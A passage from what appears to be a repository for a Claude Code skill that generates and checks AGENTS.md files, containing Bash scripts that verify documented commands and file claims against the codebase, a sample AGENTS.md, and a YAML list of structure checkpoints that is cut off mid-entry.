                  if command -v uv > /dev/null 2>&1; then
                      success "uv command available"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "uv not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              pytest)
                  # pytest test runner
                  if command -v pytest > /dev/null 2>&1; then
                      success "pytest available"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "pytest not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              cargo)
                  # Rust cargo
                  if command -v cargo > /dev/null 2>&1; then
                      success "cargo command available"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "cargo not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              deno)
                  # Deno runtime
                  if command -v deno > /dev/null 2>&1; then
                      success "deno command available"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "deno not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              gradle|gradlew|./gradlew)
                  # Gradle build tool
                  if [ -f "gradlew" ] || [ -f "build.gradle" ] || [ -f "build.gradle.kts" ]; then
                      success "gradle project detected"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  elif command -v gradle > /dev/null 2>&1; then
                      success "gradle command available"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "gradle not found"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              go)
                  # Go commands are generally available if go is installed
                  if command -v go > /dev/null 2>&1; then
                      if [ "$SMOKE_TEST" = true ]; then
                          if smoke_test_command "$cmd"; then
                              local duration="${COMMAND_RESULTS[$cmd]}"
                              duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                              success "go command ran successfully (~${duration}ms)"
                              ((PASSED+=1))
                          else
                              error "go command failed: $cmd"
                              ((FAILED+=1))
                          fi
                      else
                          success "go command available"
                          COMMAND_RESULTS["$cmd"]='{"exists": true}'
                          ((PASSED+=1))
                      fi
                  else
                      error "go not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((FAILED+=1))
                  fi
                  ;;
      
              vendor/bin/*)
                  # PHP vendor binary
                  if [ -f "$base_cmd" ]; then
                      if [ "$SMOKE_TEST" = true ]; then
                          # For test commands, run with --help to avoid actually running tests
                          local test_cmd="$cmd"
                          if [[ "$cmd" == *"phpunit"* ]] && [[ "$cmd" != *"--help"* ]]; then
                              test_cmd="$base_cmd --help"
                          fi
                          if smoke_test_command "$test_cmd"; then
                              local duration="${COMMAND_RESULTS[$cmd]}"
                              duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                              success "vendor binary works (~${duration}ms)"
                              ((PASSED+=1))
                          else
                              warn "vendor binary exists but failed: $cmd"
                              ((SKIPPED+=1))
                          fi
                      else
                          success "vendor binary exists: $base_cmd"
                          COMMAND_RESULTS["$cmd"]='{"exists": true}'
                          ((PASSED+=1))
                      fi
                  else
                      error "vendor binary not found: $base_cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((FAILED+=1))
                  fi
                  ;;
      
              *)
                  # Check if command exists in PATH
                  if command -v "$base_cmd" > /dev/null 2>&1; then
                      if [ "$SMOKE_TEST" = true ]; then
                          if smoke_test_command "$cmd"; then
                              local duration="${COMMAND_RESULTS[$cmd]}"
                              duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                              success "command works (~${duration}ms)"
                              ((PASSED+=1))
                          else
                              warn "command exists but failed: $cmd"
                              ((SKIPPED+=1))
                          fi
                      else
                          success "command exists: $base_cmd"
                          COMMAND_RESULTS["$cmd"]='{"exists": true}'
                          ((PASSED+=1))
                      fi
                  else
                      warn "command not in PATH: $base_cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
          esac
      }
      
      # Get unique commands
      mapfile -t commands < <(extract_commands | sort -u)
      
      if [ ${#commands[@]} -eq 0 ]; then
          warn "No commands found in AGENTS.md"
          if [[ "$JSON" = true ]]; then
              jq -nc --argjson p "$PASSED" --argjson s "$SKIPPED" --argjson f "$FAILED" \
                  '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:[]}' >&3
          fi
          exit 0
      fi
      
      echo "Found ${#commands[@]} unique commands to verify"
      echo ""
      
      for cmd in "${commands[@]}"; do
          [ -n "$cmd" ] && verify_command "$cmd"
      done
      
      # Emit JSON document (machine-readable) and exit before the human summary.
      # Summary counts come from the authoritative PASSED/SKIPPED/FAILED counters; the
      # commands[] array is built best-effort from COMMAND_RESULTS (iterating its keys,
      # parsing each stored value as JSON, else null).
      if [[ "$JSON" = true ]]; then
          if [[ "${#COMMAND_RESULTS[@]}" -gt 0 ]]; then
              # Iterate keys in SORTED order: associative-array key order is otherwise
              # unspecified in Bash, which would make commands[] order vary run to run.
              # read -r (not word-split) preserves command strings that contain spaces.
              while IFS= read -r cmd; do
                  stored="${COMMAND_RESULTS[$cmd]}"
                  if entry=$(jq -nc --arg cmd "$cmd" --argjson detail "$stored" \
                      '{cmd:$cmd,detail:$detail}' 2>/dev/null); then
                      JSON_CMDS+=("$entry")
                  else
                      JSON_CMDS+=("$(jq -nc --arg cmd "$cmd" '{cmd:$cmd,detail:null}')")
                  fi
              done < <(printf '%s\n' "${!COMMAND_RESULTS[@]}" | LC_ALL=C sort)
          fi
      
          if [[ "${#JSON_CMDS[@]}" -eq 0 ]]; then
              arr_json='[]'
          else
              arr_json=$(printf '%s\n' "${JSON_CMDS[@]}" | jq -s '.')
          fi
      
          jq -nc \
              --argjson items "$arr_json" \
              --argjson p "$PASSED" \
              --argjson s "$SKIPPED" \
              --argjson f "$FAILED" \
              '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:$items}' >&3
      
          if [[ "$FAILED" -gt 0 ]]; then exit 1; fi
          exit 0
      fi
      
      echo ""
      echo "======================================"
      echo "Verification Summary"
      echo "======================================"
      echo -e "${GREEN}Passed:${NC}  $PASSED"
      echo -e "${YELLOW}Skipped:${NC} $SKIPPED"
      echo -e "${RED}Failed:${NC}  $FAILED"
      echo ""
      
      if [ "$FAILED" -gt 0 ]; then
          echo -e "${RED}Some commands in AGENTS.md are invalid!${NC}"
          echo "Update AGENTS.md to fix broken command references."
      
          # Still write JSON results
          if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
              write_json_results
          fi
      
          exit 1
      else
          echo -e "${GREEN}All verifiable commands are valid.${NC}"
      
          # Write JSON results
          if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
              write_json_results
              echo "Verification results saved to $OUTPUT_JSON"
          fi
      
          # Update verified timestamp if not dry-run
          if [ "$DRY_RUN" = false ] && [ -w "$AGENTS_FILE" ]; then
              TODAY=$(date +%Y-%m-%d)
              if grep -q "Last verified:" "$AGENTS_FILE"; then
                  # Portable sed -i: use backup extension then remove backup
                  sed -i.bak "s/Last verified: .*/Last verified: $TODAY -->/" "$AGENTS_FILE" && rm -f "$AGENTS_FILE.bak"
                  echo "Updated 'Last verified' timestamp to $TODAY"
              fi
          fi
      fi
      
    • verify-content.sh 12.7 KB
      #!/usr/bin/env bash
      # verify-content.sh - Verify AGENTS.md content against actual codebase state
      # This script checks if documented information matches reality.
      #
      # CRITICAL: Never trust existing AGENTS.md content. Always verify.
      set -euo pipefail
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      
      PROJECT_DIR="${1:-.}"
      VERBOSE=false
      FIX_MODE=false
      JSON=false
      EXIT_CODE=0
      # Relative path of the AGENTS.md currently being verified; captured into each
      # issue's "file" field in JSON mode. Empty => emitted as JSON null.
      CURRENT_FILE=""
      
      # Colors
      RED='\033[0;31m'
      GREEN='\033[0;32m'
      YELLOW='\033[1;33m'
      NC='\033[0m'
      
      # Parse flags
      while [[ $# -gt 0 ]]; do
          case $1 in
              --verbose|-v)
                  VERBOSE=true
                  shift
                  ;;
              --fix)
                  FIX_MODE=true
                  shift
                  ;;
              --json)
                  JSON=true
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: verify-content.sh [PROJECT_DIR] [OPTIONS]
      
      Verify AGENTS.md content against actual codebase state.
      
      This script extracts information from the actual codebase and compares
      it against what's documented in AGENTS.md files. Reports discrepancies
      that need manual review or correction.
      
      Options:
        --verbose, -v     Show detailed comparison output
        --fix             Suggest fixes for common issues
        --json            Emit machine-readable JSON on stdout (human output suppressed)
        --help, -h        Show this help message
      
      Verification checks:
        1. Documented files exist (scripts, modules, tests)
        2. Documented commands work (make targets)
        3. Counts are accurate (module count, script count)
        4. Descriptions match actual docstrings
      
      Exit codes:
        0 - All checks passed
        1 - Discrepancies found
        2 - Error running verification
      
      Examples:
        verify-content.sh .                    # Verify current project
        verify-content.sh /path/to/project -v  # Verbose output
        verify-content.sh . --fix              # Show fix suggestions
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      cd "$PROJECT_DIR"
      
      # In JSON mode, route all human-readable output to /dev/null and reserve the
      # original stdout (fd 3) for the single JSON document emitted at the end. This
      # keeps --json strictly additive: the default (no-flag) path is byte-for-byte
      # unchanged.
      JSON_ISSUES=()
      if [[ "$JSON" = true ]]; then
          exec 3>&1 1>/dev/null
      fi
      
      echo "Verifying AGENTS.md content in: $(pwd)"
      echo ""
      
      # Track issues
      declare -a ISSUES=()
      
      add_issue() {
          local severity="$1"
          local message="$2"
          ISSUES+=("[$severity] $message")
          EXIT_CODE=1
          # In JSON mode, also record a structured issue. "message" is stored without
          # the [SEVERITY] prefix; "file" is the AGENTS.md currently under inspection
          # (CURRENT_FILE), coerced to JSON null when empty.
          if [[ "$JSON" = true ]]; then
              JSON_ISSUES+=("$(jq -nc --arg sev "$severity" --arg msg "$message" --arg file "$CURRENT_FILE" \
                  '{severity:$sev,message:$msg,file:($file|if .=="" then null else . end)}')")
          fi
      }
      
      log_check() {
          if [ "$VERBOSE" = true ]; then
              echo "  Checking: $1"
          fi
      }
      
      # ============================================================================
      # VERIFICATION FUNCTIONS
      # ============================================================================
      
      # shellcheck disable=SC2329  # Called indirectly by verification driver
      verify_file_exists() {
          local file="$1"
          local source="$2"
          if [ ! -f "$file" ] && [ ! -d "$file" ]; then
              add_issue "ERROR" "File documented in $source does not exist: $file"
              return 1
          fi
          return 0
      }
      
      verify_makefile_target() {
          local target="$1"
          if [ -f "Makefile" ]; then
              # Check in main Makefile and includes
              if ! grep -rq "^${target}:" Makefile Makefile.d/ 2>/dev/null; then
                  add_issue "WARN" "Makefile target may not exist: $target"
                  return 1
              fi
          fi
          return 0
      }
      
      extract_documented_files() {
          local agents_file="$1"
          # Extract file references inside markdown code spans, e.g. `filename.sh`.
          # NOTE: the delimiters must be LITERAL backticks. A previous version used
          # \` which GNU grep interprets as the "start of buffer" anchor, so this
          # check silently matched nothing.
          # shellcheck disable=SC2016  # Literal backticks are intended (markdown code spans), no expansion wanted
          grep -oE '`[a-zA-Z0-9_-]+\.(sh|py|go|php|ts|js|json)`' "$agents_file" 2>/dev/null | tr -d '`' | sort -u || true
      }
      
      extract_documented_scripts() {
          local agents_file="$1"
          # Extract script references like install_python.sh, guide.sh
          grep -oE '\b[a-zA-Z0-9_-]+\.sh\b' "$agents_file" 2>/dev/null | sort -u || true
      }
      
      # ============================================================================
      # ROOT AGENTS.MD VERIFICATION
      # ============================================================================
      
      echo "=== Verifying Root AGENTS.md ==="
      
      # Attribute root-section issues to the root AGENTS.md.
      CURRENT_FILE="AGENTS.md"
      
      if [ -f "AGENTS.md" ]; then
          echo -e "${GREEN}✓${NC} Root AGENTS.md exists"
      
          # Check documented make targets
          log_check "Makefile targets"
          # `|| true`: with `set -o pipefail`, a no-match grep makes this pipeline exit
          # non-zero, which under `set -e` aborts the entire script here in the root
          # section -- so the scoped-file loop below never runs. Tolerating the
          # non-zero (as MODULE_COUNTS/SCRIPT_COUNTS already do) lets verification
          # continue. Pre-existing bug: AGENTS.md without 'make ' commands aborted early.
          DOCUMENTED_TARGETS=$(grep -oE 'make [a-z_-]+' AGENTS.md | sed 's/make //' | sort -u || true)
          for target in $DOCUMENTED_TARGETS; do
              verify_makefile_target "$target" || true
          done
      
          # Check for module count claims
          log_check "Module counts"
          MODULE_COUNTS=$(grep -oE '[0-9]+ (Python )?modules?' AGENTS.md | grep -oE '[0-9]+' || true)
          for count in $MODULE_COUNTS; do
              # Try to find actual module directories
              for dir in src cli_audit lib Classes app; do
                  if [ -d "$dir" ]; then
                      ACTUAL_COUNT=$(find "$dir" -maxdepth 1 -name "*.py" -o -name "*.php" -o -name "*.go" 2>/dev/null | wc -l)
                      if [ "$ACTUAL_COUNT" -gt 0 ] && [ "$count" != "$ACTUAL_COUNT" ]; then
                          add_issue "WARN" "Module count mismatch in $dir: documented=$count, actual=$ACTUAL_COUNT"
                      fi
                  fi
              done
          done
      
          # Check for script count claims
          log_check "Script counts"
          SCRIPT_COUNTS=$(grep -oE '[0-9]+ (Bash )?scripts?' AGENTS.md | grep -oE '[0-9]+' || true)
          if [ -d "scripts" ] && [ -n "$SCRIPT_COUNTS" ]; then
              ACTUAL_SCRIPTS=$(find scripts -maxdepth 1 -name "*.sh" 2>/dev/null | wc -l)
              for count in $SCRIPT_COUNTS; do
                  if [ "$count" != "$ACTUAL_SCRIPTS" ]; then
                      add_issue "WARN" "Script count mismatch: documented=$count, actual=$ACTUAL_SCRIPTS"
                  fi
              done
          fi
      else
          add_issue "ERROR" "Root AGENTS.md does not exist"
      fi
      
      echo ""
      
      # ============================================================================
      # SCOPED AGENTS.MD VERIFICATION
      # ============================================================================
      
      echo "=== Verifying Scoped AGENTS.md Files ==="
      
      # Find all scoped AGENTS.md files
      SCOPED_FILES=$(find . -mindepth 2 -name "AGENTS.md" -not -path "./.git/*" 2>/dev/null || true)
      
      for scoped_file in $SCOPED_FILES; do
          scope_dir=$(dirname "$scoped_file")
          scope_name=$(basename "$scope_dir")
          # Attribute this iteration's issues to the scoped file (relative, no ./).
          CURRENT_FILE="${scoped_file#./}"
          echo ""
          echo "Checking: $scoped_file"
      
          # Extract and verify documented files
          log_check "Documented files exist"
          DOCUMENTED=$(extract_documented_files "$scoped_file")
      
          for doc_file in $DOCUMENTED; do
              # A documented file may live anywhere in the tree (src/, app/, ...), not
              # just the scope dir, so search the whole project for its basename and
              # only flag when it exists NOWHERE. This avoids false positives from the
              # previous narrow 3-location check.
              if ! find . -name "$doc_file" \
                      -not -path './.git/*' -not -path '*/node_modules/*' -not -path '*/vendor/*' \
                      -print -quit 2>/dev/null | grep -q .; then
                  # Special handling for common false positives
                  case "$doc_file" in
                      *.json|*.md|*.yml|*.yaml)
                          # Config files might be in various locations, skip
                          ;;
                      *)
                          add_issue "ERROR" "File documented in $scoped_file does not exist: $doc_file"
                          ;;
                  esac
              fi
          done
      
          # For scripts/ scope, verify all documented scripts exist
          if [ "$scope_name" = "scripts" ]; then
              log_check "Script files exist"
              SCRIPTS=$(extract_documented_scripts "$scoped_file")
              for script in $SCRIPTS; do
                  # Check multiple locations: scripts/, scripts/lib/, ./
                  if [ ! -f "scripts/$script" ] && [ ! -f "scripts/lib/$script" ] && [ ! -f "./$script" ]; then
                      # Skip if it's in a commit message example (common pattern: feat(scripts): add xxx.sh)
                      if grep -q "feat(scripts):.*$script\|fix(scripts):.*$script\|chore(scripts):.*$script" "$scoped_file" 2>/dev/null; then
                          [ "$VERBOSE" = true ] && echo "    Skipping $script (commit message example)"
                          continue
                      fi
                      add_issue "ERROR" "Script documented but does not exist: $script"
                  fi
              done
      
              # Check for undocumented scripts
              log_check "All scripts documented"
              if [ -d "scripts" ]; then
                  for actual_script in scripts/*.sh; do
                      script_name=$(basename "$actual_script")
                      if ! grep -q "$script_name" "$scoped_file" 2>/dev/null; then
                          add_issue "WARN" "Script exists but not documented: $script_name"
                      fi
                  done
              fi
          fi
      
          # For tests/ scope, verify test file listing
          if [ "$scope_name" = "tests" ]; then
              log_check "Test files documented"
              if [ -d "tests" ]; then
                  for test_file in tests/test_*.py; do
                      if [ -f "$test_file" ]; then
                          test_name=$(basename "$test_file")
                          if ! grep -q "$test_name" "$scoped_file" 2>/dev/null; then
                              add_issue "WARN" "Test file exists but not documented: $test_name"
                          fi
                      fi
                  done
              fi
          fi
      
          echo -e "${GREEN}✓${NC} Checked: $scoped_file"
      done
      
      # ============================================================================
      # JSON OUTPUT
      # ============================================================================
      
      # Emit the machine-readable JSON document (to the reserved fd 3) and exit using
      # the SAME EXIT_CODE the human path uses. summary.errors/warns are derived from
      # the assembled issues array; total mirrors ${#ISSUES[@]}.
      if [[ "$JSON" = true ]]; then
          if [[ "${#JSON_ISSUES[@]}" -eq 0 ]]; then
              issues_json='[]'
          else
              issues_json=$(printf '%s\n' "${JSON_ISSUES[@]}" | jq -s '.')
          fi
          jq -nc \
              --argjson items "$issues_json" \
              --argjson total "${#ISSUES[@]}" \
              '{script:"verify-content",schema:1,
                summary:{
                  errors:([$items[]|select(.severity=="ERROR")]|length),
                  warns:([$items[]|select(.severity=="WARN")]|length),
                  total:$total
                },
                issues:$items}' >&3
          exit $EXIT_CODE
      fi
      
      # ============================================================================
      # SUMMARY
      # ============================================================================
      
      echo ""
      echo "=== Verification Summary ==="
      
      if [ ${#ISSUES[@]} -eq 0 ]; then
          echo -e "${GREEN}✓ All verification checks passed!${NC}"
      else
          echo -e "${RED}Found ${#ISSUES[@]} issue(s):${NC}"
          echo ""
          for issue in "${ISSUES[@]}"; do
              case "$issue" in
                  *ERROR*)
                      echo -e "  ${RED}$issue${NC}"
                      ;;
                  *WARN*)
                      echo -e "  ${YELLOW}$issue${NC}"
                      ;;
                  *)
                      echo "  $issue"
                      ;;
              esac
          done
      
          if [ "$FIX_MODE" = true ]; then
              echo ""
              echo "=== Fix Suggestions ==="
              echo "1. Run extraction scripts to get actual state:"
              echo "   $SCRIPT_DIR/detect-project.sh ."
              echo "   $SCRIPT_DIR/extract-commands.sh ."
              echo ""
              echo "2. Compare extracted info with AGENTS.md content"
              echo ""
              echo "3. Update AGENTS.md files with verified information"
              echo ""
              echo "4. Re-run this verification: $0 . --verbose"
          fi
      fi
      
      echo ""
      exit $EXIT_CODE
      
  • AGENTS.md 3.9 KB
    <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: 2026-02-05 -->
    
    # AGENTS.md — agents
    
    <!-- AGENTS-GENERATED:START overview -->
    ## Overview
    Claude Code skill/plugin providing AI agent capabilities
    <!-- AGENTS-GENERATED:END overview -->
    
    <!-- AGENTS-GENERATED:START filemap -->
    ## Key Files
    | File | Purpose |
    |------|---------|
    | `skills/agent-rules/scripts/verify-commands.sh` | !/usr/bin/env bash |
    | `skills/agent-rules/scripts/generate-file-map.sh` | !/usr/bin/env bash |
    | `skills/agent-rules/scripts/analyze-git-history.sh` | !/usr/bin/env bash |
    | `skills/agent-rules/scripts/detect-utilities.sh` | !/usr/bin/env bash |
    | `skills/agent-rules/scripts/extract-platform-files.sh` | !/usr/bin/env bash |
    <!-- AGENTS-GENERATED:END filemap -->
    
    <!-- AGENTS-GENERATED:START golden-samples -->
    ## Golden Samples (follow these patterns)
    | Pattern | Reference |
    |---------|-----------|
    | Standard implementation | `skills/agent-rules/SKILL.md` |
    <!-- AGENTS-GENERATED:END golden-samples -->
    
    <!-- AGENTS-GENERATED:START setup -->
    ## Setup & environment
    - Plugin: agents v2.8.0
    - Skills: 1 skill(s) in `skills/`
    - Install: `composer require netresearch/agent-rules-skill`
    <!-- AGENTS-GENERATED:END setup -->
    
    <!-- AGENTS-GENERATED:START structure -->
    ## Directory structure
    ```
    .claude-plugin/
      plugin.json          → Plugin manifest (name, version, skills)
    skills/
      <skill-name>/
        SKILL.md           → Skill definition and instructions
        assets/            → Templates, reference docs
        scripts/           → Shell scripts for automation
        references/        → Examples, golden samples
    ```
    <!-- AGENTS-GENERATED:END structure -->
    
    <!-- AGENTS-GENERATED:START commands -->
    ## Build & tests
    - Lint scripts: `shellcheck skills/*/scripts/*.sh`
    - Validate plugin: `jq . .claude-plugin/plugin.json`
    <!-- AGENTS-GENERATED:END commands -->
    
    <!-- AGENTS-GENERATED:START code-style -->
    ## Code style & conventions
    - SKILL.md: Clear, actionable instructions for AI agents
    - Shell scripts: Follow ShellCheck recommendations
    - Templates: Use `` syntax for variables
    - Keep skills focused on one domain/task
    - Include checkpoints for verification
    - Provide golden samples for pattern demonstration
    <!-- AGENTS-GENERATED:END code-style -->
    
    <!-- AGENTS-GENERATED:START skill-design -->
    ## Skill design principles
    - **Actionable**: Tell agents WHAT to do, not just WHAT things are
    - **Verifiable**: Include checkpoints agents can run to verify work
    - **Scoped**: One skill = one domain (don't mix concerns)
    - **Referenced**: Point to golden samples, not generic examples
    - **Minimal**: Include only what agents need; avoid documentation bloat
    <!-- AGENTS-GENERATED:END skill-design -->
    
    <!-- AGENTS-GENERATED:START security -->
    ## Security & safety
    - Never include secrets or credentials in skills
    - Validate all user inputs in scripts
    - Use placeholder values in examples: `your-api-key`, `example.com`
    - Review generated content for sensitive information
    <!-- AGENTS-GENERATED:END security -->
    
    <!-- AGENTS-GENERATED:START checklist -->
    ## PR/commit checklist
    - [ ] ShellCheck passes: `shellcheck skills/*/scripts/*.sh`
    - [ ] SKILL.md instructions are clear and actionable
    - [ ] Templates use whole-line placeholders (not inline)
    - [ ] Golden samples exist for key patterns
    - [ ] Checkpoints are verifiable
    - [ ] plugin.json version updated if releasing
    <!-- AGENTS-GENERATED:END checklist -->
    
    <!-- AGENTS-GENERATED:START examples -->
    ## Patterns to Follow
    > **Prefer looking at real code in this repo over generic examples.**
    > See **Golden Samples** section above for files that demonstrate correct patterns.
    <!-- AGENTS-GENERATED:END examples -->
    
    <!-- AGENTS-GENERATED:START help -->
    ## When stuck
    - Check existing skills for patterns
    - Review Claude Code documentation
    - Test skills with `claude --skill <name>`
    - Check root AGENTS.md for project conventions
    <!-- AGENTS-GENERATED:END help -->
    
  • checkpoints.yaml 12.5 KB
    # Checkpoints for AGENTS.md verification
    # Ensures AGENTS.md exists, has proper structure, and stays accurate
    
    version: 1
    skill_id: agents
    
    mechanical:
      # === FILE EXISTENCE ===
      - id: AG-01
        type: file_exists
        target: AGENTS.md
        severity: error
        desc: "AGENTS.md must exist in repository root"
    
      # === RECOMMENDED SECTIONS ===
      # Note: The agents.md spec has NO required fields - these are best practices
      #
      # Accepted heading spellings come from two sources inside this skill and
      # nowhere else: the equivalence table in scripts/validate-structure.sh
      # (check_scoped_sections) and the headings the two root templates emit
      # (assets/root-thin.md, assets/root-verbose.md). A spelling that is only
      # plausible is a finding, not an equivalent.
      - id: AG-02
        type: regex
        target: AGENTS.md
        pattern: "^#+ (.*Overview|Project|About)"
        severity: warning
        desc: "AGENTS.md should have an Overview/Project section (recommended but not required)"
    
      - id: AG-03
        type: regex
        target: AGENTS.md
        # Setup group of check_scoped_sections: Setup|Environment|Prerequisites|
        # Getting Started (its fifth member, "Workflow files", is a scoped
        # github-actions section that no root file carries).
        # "Development Workflow" removed: root-verbose.md:69 spells a branch/PR
        # sequence under that heading, not environment setup. AG-06 owns it.
        # "Dev Environment" removed for the same reason: neither the equivalence
        # table nor a root template emits it, so it was a plausible-only spelling
        # under a rule that admits none. Adding it to check_scoped_sections
        # instead would loosen validate-structure.sh to make this pattern true.
        pattern: "^#+ (Setup|Getting Started|Prerequisites|Environment)"
        severity: warning
        desc: "AGENTS.md should have Setup/Environment section (recommended but not required)"
    
      - id: AG-04
        type: regex
        target: AGENTS.md
        pattern: "^#+ (Commands|Available Commands|Useful Commands)"
        severity: warning
        desc: "AGENTS.md should have Commands section"
    
      - id: AG-05
        type: regex
        target: AGENTS.md
        pattern: "^#+ (Architecture|Structure|Project Structure)"
        severity: warning
        desc: "AGENTS.md should describe project architecture"
    
      - id: AG-06
        type: regex
        target: AGENTS.md
        # "Workflow" added: root-thin.md:30 emits "## Workflow" as the development
        # workflow section, so the canonical thin output matched only via
        # "Contributing". "PR/Commit Checklist" is deliberately NOT accepted here —
        # check_scoped_sections keeps Checklist (PR|Commit|Checklist) as a group of
        # its own, separate from any workflow section.
        # Bare "Development" removed: no source emits it, and being an unanchored
        # prefix it made "Development Workflow" redundant while accepting any
        # heading that merely starts with "Development".
        pattern: "^#+ (Development Workflow|Contributing|Workflow)"
        severity: warning
        desc: "AGENTS.md should have Development workflow section"
    
      - id: AG-07
        type: regex
        target: AGENTS.md
        # Build/Tests group of check_scoped_sections:
        # Build|Tests|Running|Commands|Common patterns. "Commands" is where this
        # skill's own root templates and the assessed TYPO3 extensions put the test
        # commands, so a "## Commands" section satisfies this check. That makes
        # AG-07 overlap AG-04 on such files — the same shape AG-13 already has
        # against AG-04, and not this checkpoint's to resolve.
        pattern: "^#+ (Testing|Tests|Running Tests|Commands)"
        severity: warning
        desc: "AGENTS.md should have Testing section"
    
      # === FRESHNESS INDICATORS ===
      - id: AG-08
        type: regex
        target: AGENTS.md
        pattern: "(Last [Uu]pdated|Updated|Modified).*20[0-9]{2}"
        severity: warning
        desc: "AGENTS.md should have Last Updated date"
    
      # === STRUCTURE QUALITY ===
      - id: AG-09
        type: regex
        target: AGENTS.md
        pattern: "^## "
        severity: error
        desc: "AGENTS.md must use proper markdown heading structure"
    
      - id: AG-10
        type: regex
        target: AGENTS.md
        pattern: "```(bash|shell|sh|yaml|json|php|typescript|javascript)"
        severity: warning
        desc: "AGENTS.md should include code blocks with language hints"
    
      # === COMMAND DOCUMENTATION ===
      - id: AG-11
        type: regex
        target: AGENTS.md
        pattern: "(composer|npm|make|ddev|docker)"
        severity: warning
        desc: "AGENTS.md should document build/run commands"
    
      # === AGENT-OPTIMIZED SECTIONS ===
      - id: AG-13
        type: regex
        target: AGENTS.md
        pattern: '^#+ Commands( \(verified[^)]*\))?'
        severity: warning
        desc: "AGENTS.md should have Commands section (optionally with '(verified)' or '(verified DATE)' suffix for trust scoring)"
    
      - id: AG-14
        type: regex
        target: AGENTS.md
        pattern: "^#+ File Map"
        severity: info
        desc: "AGENTS.md should have File Map for navigation efficiency"
    
      - id: AG-15
        type: regex
        target: AGENTS.md
        pattern: "^#+ (Golden Samples|Canonical Patterns)"
        severity: info
        desc: "AGENTS.md should have Golden Samples to reduce pattern guessing"
    
      - id: AG-16
        type: regex
        target: AGENTS.md
        pattern: "^#+ (Utilities|Shared Utilities|Don't Reinvent)"
        severity: info
        desc: "AGENTS.md should list utilities to prevent duplicate code"
    
      - id: AG-17
        type: regex
        target: AGENTS.md
        pattern: "^#+ (Heuristics|Quick Decisions|Decision Rules)"
        severity: info
        desc: "AGENTS.md should have Heuristics for autonomous decisions"
    
      - id: AG-18
        type: regex
        target: AGENTS.md
        pattern: "Last verified.*20[0-9]{2}"
        severity: info
        desc: "AGENTS.md should have 'Last verified' timestamp for trust scoring"
    
      # === OUTPUT QUALITY ===
      - id: AG-19
        type: regex_not
        target: AGENTS.md
        pattern: "\\{\\{[A-Z][A-Z0-9_]*\\}\\}"
        severity: error
        desc: "AGENTS.md must not contain unresolved placeholders like {{PLACEHOLDER}}"
    
      - id: AG-20
        type: regex_not
        target: AGENTS.md
        pattern: "\\{\\{[A-Z_]+\\}\\}"
        severity: error
        desc: "AGENTS.md has unresolved template placeholders - regenerate or fix template"
    
      # === IMPORTANT CONTEXT ===
      - id: AG-12
        type: regex
        target: AGENTS.md
        # "Boundaries" added: it is this skill's canonical name for the section
        # (assets/root-thin.md:80, assets/root-verbose.md:28, and the Root File
        # table in references/output-structure.md — "Boundaries | Always/Ask/Never
        # rules"). Without it the check failed against both of the skill's own root
        # templates while no template ever emits any of the six original spellings.
        pattern: "^#+ (Critical|Constraints|Critical Constraints|Important|Caveats|Warnings|Boundaries)"
        severity: info
        desc: "AGENTS.md should have Critical/Constraints section for important warnings"
    
      # === POINTER PRINCIPLE ===
      - id: AG-26
        type: regex
        target: AGENTS.md
        pattern: "(see |refer to |defined in |located at )[`/]"
        severity: info
        desc: "AGENTS.md should point to files rather than duplicating content (Pointer Principle)"
    
      # === LANGUAGE ===
      - id: AG-27
        type: regex
        target: AGENTS.md
        pattern: "^# "
        severity: error
        desc: "AGENTS.md must have a top-level heading in English (default language)"
    
      # === GIT HOOKS ===
      - id: AG-29
        type: command
        # Was type "file_exists_any" with a "paths:" list. Neither is a runner type
        # nor a runner key, so the runner reported this checkpoint as SKIPPED
        # ("Unknown checkpoint type") on every project and it never measured
        # anything. The same five markers as one allowlisted `test`. The four
        # frameworks are those in references/git-hooks-setup.md, and the husky
        # marker is the `.husky/` directory named in that doc's table (line 15).
        # Requiring `.husky/pre-commit` warned at every repo that runs Husky for
        # another hook, commit-msg only being the common one. Which hooks a
        # framework installs and what they cover is AG-30's question, not this
        # one's — the same reason an empty lefthook.yml satisfies this check.
        pattern: "test -f lefthook.yml -o -f .lefthook.yml -o -f captainhook.json -o -d .husky -o -f .pre-commit-config.yaml"
        severity: warning
        desc: "Repository should have a git hooks framework configured (lefthook, captainhook, husky or pre-commit)"
    
      # === CLAUDE CODE COMPATIBILITY ===
      - id: AG-31
        type: script
        severity: warning
